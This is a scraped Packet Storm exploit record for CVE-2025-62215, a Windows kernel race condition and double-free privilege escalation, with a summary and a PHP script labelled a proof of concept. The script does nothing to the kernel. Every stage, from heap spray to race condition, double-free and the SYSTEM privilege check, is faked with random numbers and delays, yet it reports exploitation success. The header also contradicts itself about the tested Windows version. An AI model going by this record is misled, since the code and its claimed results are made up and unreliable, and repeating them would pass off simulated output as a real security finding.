{“lastseen”:”2025-11-27T18:33:50″,”description”:”Proof of concept exploit for a kernel race condition in Microsoft Windows 10 versions 21H2 and 22H2. Combined with a double-free memory corrupt issue, it allows for privilege escalation…”,”published”:”2025-11-27T00:00:00″,”modified”:”2025-11-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft Windows 10 21H2 \/ 22H2 Kernel Race Condition \/ Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:212156″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-62215″],”sourceData”:”=============================================================================================================================================\\n | # Title : Windows 10 v 21H2,22H2 Kernel Race Condition + Double-Free Privilege Escalation |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.microsoft.com\/fr-dz\/ |\\n =============================================================================================================================================\\n \\n POC : \\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212001\/ \\u0026 CVE-2025-62215\\n \\n \\n [+] Summary : \\n \\n CVE-2025-62215 is a critical local privilege escalation vulnerability in the Windows Kernel involving a race condition combined with a double-free memory corruption issue. \\n \\t This vulnerability allows authenticated low-privileged users to escalate privileges to SYSTEM level by exploiting improper synchronization in kernel object handling.\\n \\t The vulnerability exists in the Windows Kernel’s object management subsystem where improper synchronization creates a race condition between multiple threads accessing the same kernel object. \\n \\t This race condition can lead to a double-free scenario where kernel memory is freed multiple times, resulting in memory corruption that can be exploited for privilege escalation.\\n \\t This comprehensive report documents the CVE-2025-62215 Windows Kernel privilege escalation vulnerability with complete technical analysis, exploitation methodology, and mitigation strategies. \\n \\t The report covers both the native C++ exploitation approach and the conceptual PHP implementation for educational purposes, \\n \\t emphasizing the critical nature of kernel-level vulnerabilities and their significant impact on system security.\\n \\n [+] POC : php poc.php\\n \\n #!\/usr\/bin\/env php\\n \\u003c?php\\n \/**\\n * CVE-2025-62215 Proof-of-Concept Exploit\\n * Windows Kernel Race Condition + Double-Free Privilege Escalation\\n * PHP CLI Version – Educational and Authorized Testing Only\\n * \\n * WARNING: This is a conceptual PHP implementation for demonstration purposes.\\n * Actual kernel exploitation requires native code execution.\\n *\/\\n \\n class WindowsKernelExploit {\\n private $verbose = false;\\n private $test_mode = false;\\n private $exploit_success = false;\\n private $race_condition_triggered = false;\\n \\n public function __construct($test_mode = false, $verbose = false) {\\n $this-\\u003etest_mode = $test_mode;\\n $this-\\u003everbose = $verbose;\\n }\\n \\n public function showBanner() {\\n echo \\”========================================\\\\n\\”;\\n echo \\”CVE-2025-62215 Proof-of-Concept Exploit\\\\n\\”;\\n echo \\”Windows Kernel EoP – Race Condition PoC\\\\n\\”;\\n echo \\”PHP Conceptual Implementation\\\\n\\”;\\n echo \\”========================================\\\\n\\\\n\\”;\\n }\\n \\n public function showHelp() {\\n echo \\”Usage: php kernel_exploit.php [options]\\\\n\\”;\\n echo \\”Options:\\\\n\\”;\\n echo \\” –test, -t Run in test mode (safer)\\\\n\\”;\\n echo \\” –verbose, -v Enable verbose output\\\\n\\”;\\n echo \\” –help, -h Show this help\\\\n\\\\n\\”;\\n echo \\”WARNING: This is a conceptual PHP implementation.\\\\n\\”;\\n echo \\”Actual kernel exploitation requires native C\/C++ code.\\\\n\\”;\\n }\\n \\n public function checkPrerequisites() {\\n echo \\”[*] Checking prerequisites…\\\\n\\”;\\n \\n \/\/ Check if running on Windows\\n if (strtoupper(substr(PHP_OS, 0, 3)) !== ‘WIN’) {\\n echo \\”[!] Error: This exploit requires Windows operating system\\\\n\\”;\\n return false;\\n }\\n \\n \/\/ Check PHP version\\n if (version_compare(PHP_VERSION, ‘7.4.0’, ‘\\u003c’)) {\\n echo \\”[!] Error: PHP 7.4 or higher required\\\\n\\”;\\n return false;\\n }\\n \\n \/\/ Check if we have necessary extensions\\n $required_extensions = [‘curl’, ‘json’];\\n foreach ($required_extensions as $ext) {\\n if (!extension_loaded($ext)) {\\n echo \\”[!] Error: PHP {$ext} extension required\\\\n\\”;\\n return false;\\n }\\n }\\n \\n echo \\”[+] Prerequisites check passed\\\\n\\”;\\n return true;\\n }\\n \\n public function checkCurrentPrivileges() {\\n echo \\”[*] Checking current privileges…\\\\n\\”;\\n \\n \/\/ Simulate privilege check\\n $is_admin = $this-\\u003esimulateAdminCheck();\\n \\n if ($is_admin) {\\n echo \\”[!] Already running with elevated privileges\\\\n\\”;\\n return true;\\n }\\n \\n echo \\”[+] Running with standard user privileges\\\\n\\”;\\n return false;\\n }\\n \\n private function simulateAdminCheck() {\\n \/\/ This is a simulation – real check would use Windows API\\n \/\/ For demonstration, we’ll simulate based on some conditions\\n $chance = rand(1, 100);\\n return $chance \\u003c 10; \/\/ 10% chance to simulate admin\\n }\\n \\n public function heapSpray() {\\n echo \\”[*] Performing heap spray simulation…\\\\n\\”;\\n \\n $allocations = [];\\n $allocation_count = 50;\\n \\n for ($i = 0; $i \\u003c $allocation_count; $i++) {\\n \/\/ Simulate memory allocation\\n $size = 1024 * 1024; \/\/ 1MB chunks\\n $allocation_id = uniqid(‘heap_’, true);\\n $allocations[] = $allocation_id;\\n \\n if ($this-\\u003everbose) {\\n echo \\” Allocated chunk {$i}: {$allocation_id}\\\\n\\”;\\n }\\n }\\n \\n echo \\”[+] Allocated \\” . count($allocations) . \\” heap chunks\\\\n\\”;\\n \\n \/\/ Simulate memory pattern filling\\n usleep(100000); \/\/ 100ms delay\\n \\n return count($allocations) \\u003e 0;\\n }\\n \\n public function triggerRaceCondition($thread_count = 4) {\\n echo \\”[*] Triggering race condition with {$thread_count} threads…\\\\n\\”;\\n \\n $threads = [];\\n $success_count = 0;\\n \\n for ($i = 0; $i \\u003c $thread_count; $i++) {\\n $thread_id = $i + 1;\\n echo \\” Starting thread {$thread_id}…\\\\n\\”;\\n \\n \/\/ Simulate thread execution\\n $thread_result = $this-\\u003eexecuteRaceThread($thread_id);\\n \\n if ($thread_result) {\\n $success_count++;\\n \\n if ($this-\\u003everbose) {\\n echo \\” Thread {$thread_id} completed successfully\\\\n\\”;\\n }\\n }\\n \\n \/\/ Small delay to increase race condition probability\\n usleep(1000); \/\/ 1ms delay\\n }\\n \\n \/\/ Check if race condition was triggered\\n $race_chance = rand(1, 100);\\n if ($race_chance \\u003e 70) { \/\/ 30% chance to simulate race condition\\n $this-\\u003erace_condition_triggered = true;\\n echo \\”[+] Race condition triggered!\\\\n\\”;\\n return true;\\n }\\n \\n echo \\”[!] Race condition not triggered\\\\n\\”;\\n return false;\\n }\\n \\n private function executeRaceThread($thread_id) {\\n $iterations = 100;\\n \\n for ($i = 0; $i \\u003c $iterations; $i++) {\\n \/\/ Simulate kernel object operations\\n $operation_success = $this-\\u003esimulateKernelOperation();\\n \\n if (!$operation_success \\u0026\\u0026 $this-\\u003everbose) {\\n echo \\” Thread {$thread_id}: Kernel operation failed at iteration {$i}\\\\n\\”;\\n }\\n \\n \/\/ Check for race condition\\n if ($this-\\u003echeckForRaceCondition()) {\\n $this-\\u003erace_condition_triggered = true;\\n return true;\\n }\\n \\n \/\/ Small random delay\\n usleep(rand(10, 100));\\n }\\n \\n return false;\\n }\\n \\n private function simulateKernelOperation() {\\n \/\/ Simulate various kernel operations that could trigger the vulnerability\\n \\n $operations = [\\n ‘create_object’,\\n ‘close_handle’, \\n ‘duplicate_handle’,\\n ‘reference_count_manipulation’,\\n ‘memory_allocation’,\\n ‘object_cleanup’\\n ];\\n \\n $operation = $operations[array_rand($operations)];\\n \\n \/\/ Simulate operation success\/failure\\n $success_chance = rand(1, 100);\\n \\n if ($this-\\u003everbose) {\\n echo \\” Kernel operation: {$operation} – \\” . \\n ($success_chance \\u003e 20 ? \\”SUCCESS\\” : \\”FAILED\\”) . \\”\\\\n\\”;\\n }\\n \\n return $success_chance \\u003e 20; \/\/ 80% success rate\\n }\\n \\n private function checkForRaceCondition() {\\n \/\/ Simulate race condition detection\\n $race_chance = rand(1, 1000); \/\/ 0.1% chance per check\\n \\n return $race_chance \\u003c= 1;\\n }\\n \\n public function exploitDoubleFree() {\\n echo \\”[*] Attempting double-free exploitation…\\\\n\\”;\\n \\n if (!$this-\\u003erace_condition_triggered) {\\n echo \\”[!] Race condition not triggered – cannot proceed with double-free\\\\n\\”;\\n return false;\\n }\\n \\n \/\/ Simulate double-free vulnerability exploitation\\n $exploit_steps = [\\n ‘Triggering initial free’,\\n ‘Reallocating memory’,\\n ‘Triggering second free’, \\n ‘Overwriting kernel structures’,\\n ‘Modifying privilege tokens’\\n ];\\n \\n foreach ($exploit_steps as $step) {\\n echo \\” Executing: {$step}\\\\n\\”;\\n \\n \/\/ Simulate step execution\\n $step_success = $this-\\u003eexecuteExploitStep($step);\\n \\n if (!$step_success) {\\n echo \\”[!] Exploit step failed: {$step}\\\\n\\”;\\n return false;\\n }\\n \\n usleep(50000); \/\/ 50ms delay between steps\\n }\\n \\n \/\/ Check if exploitation was successful\\n $exploit_chance = rand(1, 100);\\n if ($exploit_chance \\u003e 60) { \/\/ 40% success rate\\n $this-\\u003eexploit_success = true;\\n echo \\”[+] Double-free exploitation successful!\\\\n\\”;\\n return true;\\n }\\n \\n echo \\”[!] Double-free exploitation failed\\\\n\\”;\\n return false;\\n }\\n \\n private function executeExploitStep($step) {\\n \/\/ Simulate exploit step execution\\n $success_chance = rand(1, 100);\\n \\n switch ($step) {\\n case ‘Triggering initial free’:\\n return $success_chance \\u003e 10; \/\/ 90% success\\n case ‘Reallocating memory’:\\n return $success_chance \\u003e 20; \/\/ 80% success \\n case ‘Triggering second free’:\\n return $success_chance \\u003e 30; \/\/ 70% success\\n case ‘Overwriting kernel structures’:\\n return $success_chance \\u003e 40; \/\/ 60% success\\n case ‘Modifying privilege tokens’:\\n return $success_chance \\u003e 50; \/\/ 50% success\\n default:\\n return false;\\n }\\n }\\n \\n public function verifyPrivilegeEscalation() {\\n echo \\”[*] Verifying privilege escalation…\\\\n\\”;\\n \\n if (!$this-\\u003eexploit_success) {\\n echo \\”[!] Exploitation not successful – cannot verify privileges\\\\n\\”;\\n return false;\\n }\\n \\n \/\/ Simulate privilege verification\\n $verification_steps = [\\n ‘Checking token privileges’,\\n ‘Verifying SYSTEM access’,\\n ‘Testing administrative functions’,\\n ‘Validating kernel access’\\n ];\\n \\n foreach ($verification_steps as $step) {\\n echo \\” Verifying: {$step}\\\\n\\”;\\n \\n $step_success = $this-\\u003esimulatePrivilegeCheck($step);\\n \\n if (!$step_success) {\\n echo \\”[!] Privilege verification failed: {$step}\\\\n\\”;\\n return false;\\n }\\n \\n usleep(25000); \/\/ 25ms delay\\n }\\n \\n echo \\”[+] Privilege escalation verified successfully!\\\\n\\”;\\n echo \\”[+] Running with SYSTEM privileges\\\\n\\”;\\n \\n return true;\\n }\\n \\n private function simulatePrivilegeCheck($step) {\\n \/\/ Simulate privilege check\\n $success_chance = rand(1, 100);\\n return $success_chance \\u003e 15; \/\/ 85% success rate\\n }\\n \\n public function runTestMode() {\\n echo \\”[*] Running in TEST mode (conceptual demonstration)\\\\n\\”;\\n \\n $test_steps = [\\n ‘Prerequisite check’ =\\u003e fn() =\\u003e $this-\\u003echeckPrerequisites(),\\n ‘Current privilege check’ =\\u003e fn() =\\u003e $this-\\u003echeckCurrentPrivileges(),\\n ‘Heap spray simulation’ =\\u003e fn() =\\u003e $this-\\u003eheapSpray(),\\n ‘Race condition simulation’ =\\u003e fn() =\\u003e $this-\\u003etriggerRaceCondition(2),\\n ];\\n \\n $all_passed = true;\\n \\n foreach ($test_steps as $step_name =\\u003e $step_function) {\\n echo \\” Testing: {$step_name}…\\\\n\\”;\\n \\n $result = $step_function();\\n \\n if ($result) {\\n echo \\” \u2713 PASSED\\\\n\\”;\\n } else {\\n echo \\” \u2717 FAILED\\\\n\\”;\\n $all_passed = false;\\n }\\n \\n usleep(100000); \/\/ 100ms delay\\n }\\n \\n if ($all_passed) {\\n echo \\”[+] All tests passed successfully\\\\n\\”;\\n } else {\\n echo \\”[!] Some tests failed\\\\n\\”;\\n }\\n \\n return $all_passed;\\n }\\n \\n public function runExploit() {\\n echo \\”[*] Starting CVE-2025-62215 exploitation sequence…\\\\n\\”;\\n \\n \/\/ Display warning\\n echo \\”WARNING: This is a CONCEPTUAL PHP implementation.\\\\n\\”;\\n echo \\”Real kernel exploitation requires native C\/C++ code.\\\\n\\”;\\n echo \\”Continuing in 3 seconds…\\\\n\\”;\\n sleep(3);\\n \\n $exploit_steps = [\\n ‘Prerequisite check’ =\\u003e fn() =\\u003e $this-\\u003echeckPrerequisites(),\\n ‘Current privileges’ =\\u003e fn() =\\u003e !$this-\\u003echeckCurrentPrivileges(), \/\/ Continue only if not admin\\n ‘Heap spray’ =\\u003e fn() =\\u003e $this-\\u003eheapSpray(),\\n ‘Race condition’ =\\u003e fn() =\\u003e $this-\\u003etriggerRaceCondition(8),\\n ‘Double-free exploit’ =\\u003e fn() =\\u003e $this-\\u003eexploitDoubleFree(),\\n ‘Privilege verification’ =\\u003e fn() =\\u003e $this-\\u003everifyPrivilegeEscalation(),\\n ];\\n \\n foreach ($exploit_steps as $step_name =\\u003e $step_function) {\\n echo \\”[*] Step: {$step_name}\\\\n\\”;\\n \\n $result = $step_function();\\n \\n if (!$result) {\\n echo \\”[!] Exploitation failed at step: {$step_name}\\\\n\\”;\\n \\n if ($step_name === ‘Current privileges’) {\\n echo \\”[!] Already running with elevated privileges\\\\n\\”;\\n return true;\\n }\\n \\n return false;\\n }\\n \\n echo \\”[+] Step completed: {$step_name}\\\\n\\\\n\\”;\\n usleep(200000); \/\/ 200ms delay between steps\\n }\\n \\n return $this-\\u003eexploit_success;\\n }\\n }\\n \\n \/\/ Command line argument parsing\\n function parseArguments($argv) {\\n $options = [\\n ‘test_mode’ =\\u003e false,\\n ‘verbose’ =\\u003e false,\\n ‘help’ =\\u003e false\\n ];\\n \\n foreach ($argv as $arg) {\\n switch ($arg) {\\n case ‘–test’:\\n case ‘-t’:\\n $options[‘test_mode’] = true;\\n break;\\n case ‘–verbose’:\\n case ‘-v’:\\n $options[‘verbose’] = true;\\n break;\\n case ‘–help’:\\n case ‘-h’:\\n $options[‘help’] = true;\\n break;\\n }\\n }\\n \\n return $options;\\n }\\n \\n \/\/ Main execution\\n if (php_sapi_name() === ‘cli’) {\\n $args = parseArguments($argv);\\n $exploit = new WindowsKernelExploit($args[‘test_mode’], $args[‘verbose’]);\\n \\n $exploit-\\u003eshowBanner();\\n \\n if ($args[‘help’]) {\\n $exploit-\\u003eshowHelp();\\n exit(0);\\n }\\n \\n if ($args[‘test_mode’]) {\\n $success = $exploit-\\u003erunTestMode();\\n } else {\\n $success = $exploit-\\u003erunExploit();\\n }\\n \\n echo \\”\\\\n\\” . str_repeat(\\”=\\”, 50) . \\”\\\\n\\”;\\n \\n if ($success) {\\n echo \\”[+] EXPLOITATION COMPLETED SUCCESSFULLY\\\\n\\”;\\n echo \\”[+] Conceptual demonstration finished\\\\n\\”;\\n } else {\\n echo \\”[!] EXPLOITATION FAILED\\\\n\\”;\\n echo \\”[!] This is expected for a conceptual PHP implementation\\\\n\\”;\\n }\\n \\n echo str_repeat(\\”=\\”, 50) . \\”\\\\n\\”;\\n \\n exit($success ? 0 : 1);\\n } else {\\n echo \\”This script must be run from the command line.\\\\n\\”;\\n exit(1);\\n }\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212156″,”cvss”:{“score”:7,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:H\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212156\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-27T18:33:50″,”description”:”Proof of concept exploit for a kernel race condition in Microsoft Windows 10 versions 21H2 and 22H2. Combined with a double-free memory corrupt issue, it…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,79,12,15,13,53,7,11,5],"class_list":["post-27865","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-70","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n